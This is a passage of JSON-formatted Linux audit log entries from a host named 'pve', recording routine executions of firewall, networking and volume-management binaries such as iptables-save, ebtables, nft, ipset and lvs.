msg=audit(1781965115.421:64238): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115413,"@rawstring":"node=pve type=PATH msg=audit(1781965115.413:64237): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115413,"@rawstring":"node=pve type=PATH msg=audit(1781965115.413:64237): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115403,"@rawstring":"node=pve type=PATH msg=audit(1781965115.403:64236): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115403,"@rawstring":"node=pve type=PATH msg=audit(1781965115.403:64236): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115398,"@rawstring":"node=pve type=PATH msg=audit(1781965115.398:64234): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115398,"@rawstring":"node=pve type=PATH msg=audit(1781965115.398:64234): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115391,"@rawstring":"node=pve type=PATH msg=audit(1781965115.391:64233): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115391,"@rawstring":"node=pve type=PATH msg=audit(1781965115.391:64233): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115385,"@rawstring":"node=pve type=PATH msg=audit(1781965115.385:64232): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115385,"@rawstring":"node=pve type=PATH msg=audit(1781965115.385:64232): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115379,"@rawstring":"node=pve type=PATH msg=audit(1781965115.379:64231): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115379,"@rawstring":"node=pve type=PATH msg=audit(1781965115.379:64231): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115374,"@rawstring":"node=pve type=PATH msg=audit(1781965115.374:64230): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115374,"@rawstring":"node=pve type=PATH msg=audit(1781965115.374:64230): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115368,"@rawstring":"node=pve type=PATH msg=audit(1781965115.368:64229): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115368,"@rawstring":"node=pve type=PATH msg=audit(1781965115.368:64229): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115360,"@rawstring":"node=pve type=PATH msg=audit(1781965115.360:64228): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115360,"@rawstring":"node=pve type=PATH msg=audit(1781965115.360:64228): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115353,"@rawstring":"node=pve type=PATH msg=audit(1781965115.353:64227): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115353,"@rawstring":"node=pve type=PATH msg=audit(1781965115.353:64227): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115346,"@rawstring":"node=pve type=PATH msg=audit(1781965115.346:64226): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115346,"@rawstring":"node=pve type=PATH msg=audit(1781965115.346:64226): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115337,"@rawstring":"node=pve type=PATH msg=audit(1781965115.337:64225): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115337,"@rawstring":"node=pve type=PATH msg=audit(1781965115.337:64225): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115335,"@rawstring":"node=pve type=PATH msg=audit(1781965115.335:64224): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115335,"@rawstring":"node=pve type=PATH msg=audit(1781965115.335:64224): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115335,"@rawstring":"node=pve type=PATH msg=audit(1781965115.335:64223): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115331,"@rawstring":"node=pve type=PATH msg=audit(1781965115.331:64222): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115331,"@rawstring":"node=pve type=PATH msg=audit(1781965115.331:64222): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115331,"@rawstring":"node=pve type=PATH msg=audit(1781965115.331:64222): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115325,"@rawstring":"node=pve type=PATH msg=audit(1781965115.325:64221): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115325,"@rawstring":"node=pve type=PATH msg=audit(1781965115.325:64221): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115317,"@rawstring":"node=pve type=PATH msg=audit(1781965115.317:64220): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115317,"@rawstring":"node=pve type=PATH msg=audit(1781965115.317:64220): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115313,"@rawstring":"node=pve type=PATH msg=audit(1781965115.313:64219): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115313,"@rawstring":"node=pve type=PATH msg=audit(1781965115.313:64219): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115305,"@rawstring":"node=pve type=PATH msg=audit(1781965115.305:64218): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115305,"@rawstring":"node=pve type=PATH msg=audit(1781965115.305:64218): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115295,"@rawstring":"node=pve type=PATH msg=audit(1781965115.295:64217): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115295,"@rawstring":"node=pve type=PATH msg=audit(1781965115.295:64217): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965114606,"@rawstring":"node=pve type=PATH msg=audit(1781965114.606:64216): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965114606,"@rawstring":"node=pve type=PATH msg=audit(1781965114.606:64216): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965114583,"@rawstring":"node=pve type=PATH msg=audit(1781965114.583:64215): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965114583,"@rawstring":"node=pve type=PATH msg=audit(1781965114.583:64215): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111823,"@rawstring":"node=pve type=PATH msg=audit(1781965111.823:64214): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111823,"@rawstring":"node=pve type=PATH msg=audit(1781965111.823:64214): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111823,"@rawstring":"node=pve type=PATH msg=audit(1781965111.823:64213): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111822,"@rawstring":"node=pve type=PATH msg=audit(1781965111.822:64212): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111813,"@rawstring":"node=pve type=PATH msg=audit(1781965111.813:64211): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111813,"@rawstring":"node=pve type=PATH msg=audit(1781965111.813:64211): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111813,"@rawstring":"node=pve type=PATH msg=audit(1781965111.813:64210): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111813,"@rawstring":"node=pve type=PATH msg=audit(1781965111.813:64209): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106805,"@rawstring":"node=pve type=PATH msg=audit(1781965106.805:64208): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106805,"@rawstring":"node=pve type=PATH msg=audit(1781965106.805:64208): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106805,"@rawstring":"node=pve type=PATH msg=audit(1781965106.805:64207): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106805,"@rawstring":"node=pve type=PATH msg=audit(1781965106.805:64206): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106798,"@rawstring":"node=pve type=PATH msg=audit(1781965106.798:64205): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106798,"@rawstring":"node=pve type=PATH msg=audit(1781965106.798:64205): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106798,"@rawstring":"node=pve type=PATH msg=audit(1781965106.798:64204): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106798,"@rawstring":"node=pve type=PATH msg=audit(1781965106.798:64203): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105281,"@rawstring":"node=pve type=PATH msg=audit(1781965105.281:64202): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105281,"@rawstring":"node=pve type=PATH msg=audit(1781965105.281:64202): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105279,"@rawstring":"node=pve type=PATH msg=audit(1781965105.279:64201): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105279,"@rawstring":"node=pve type=PATH msg=audit(1781965105.279:64201): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105278,"@rawstring":"node=pve type=PATH msg=audit(1781965105.278:64200): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105278,"@rawstring":"node=pve type=PATH msg=audit(1781965105.278:64200): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105278,"@rawstring":"node=pve type=PATH msg=audit(1781965105.278:64199): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105272,"@rawstring":"node=pve type=PATH msg=audit(1781965105.272:64198): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105272,"@rawstring":"node=pve type=PATH msg=audit(1781965105.272:64198): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105272,"@rawstring":"node=pve type=PATH msg=audit(1781965105.272:64198): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105266,"@rawstring":"node=pve type=PATH msg=audit(1781965105.266:64197): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105266,"@rawstring":"node=pve type=PATH msg=audit(1781965105.266:64197): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105260,"@rawstring":"node=pve type=PATH msg=audit(1781965105.260:64196): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105260,"@rawstring":"node=pve type=PATH msg=audit(1781965105.260:64196): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105252,"@rawstring":"node=pve type=PATH msg=audit(1781965105.252:64195): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105252,"@rawstring":"node=pve type=PATH msg=audit(1781965105.252:64195): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105246,"@rawstring":"node=pve type=PATH msg=audit(1781965105.246:64194): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105246,"@rawstring":"node=pve type=PATH msg=audit(1781965105.246:64194): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105238,"@rawstring":"node=pve type=PATH msg=audit(1781965105.238:64192): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105238,"@rawstring":"node=pve type=PATH msg=audit(1781965105.238:64192): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105234,"@rawstring":"node=pve type=PATH msg=audit(1781965105.234:64191): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105234,"@rawstring":"node=pve type=PATH msg=audit(1781965105.234:64191): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105228,"@rawstring":"node=pve type=PATH msg=audit(1781965105.228:64190): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105228,"@rawstring":"node=pve type=PATH msg=audit(1781965105.228:64190): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105222,"@rawstring":"node=pve type=PATH msg=audit(1781965105.222:64189): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105222,"@rawstring":"node=pve type=PATH msg=audit(1781965105.222:64189): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105218,"@rawstring":"node=pve type=PATH msg=audit(1781965105.218:64188): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105218,"@rawstring":"node=pve type=PATH msg=audit(1781965105.218:64188): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105212,"@rawstring":"node=pve type=PATH msg=audit(1781965105.212:64187): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105212,"@rawstring":"node=pve type=PATH msg=audit(1781965105.212:64187): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105206,"@rawstring":"node=pve type=PATH msg=audit(1781965105.206:64186): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105206,"@rawstring":"node=pve type=PATH msg=audit(1781965105.206:64186): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105200,"@rawstring":"node=pve type=PATH msg=audit(1781965105.200:64185): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105200,"@rawstring":"node=pve type=PATH msg=audit(1781965105.200:64185): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 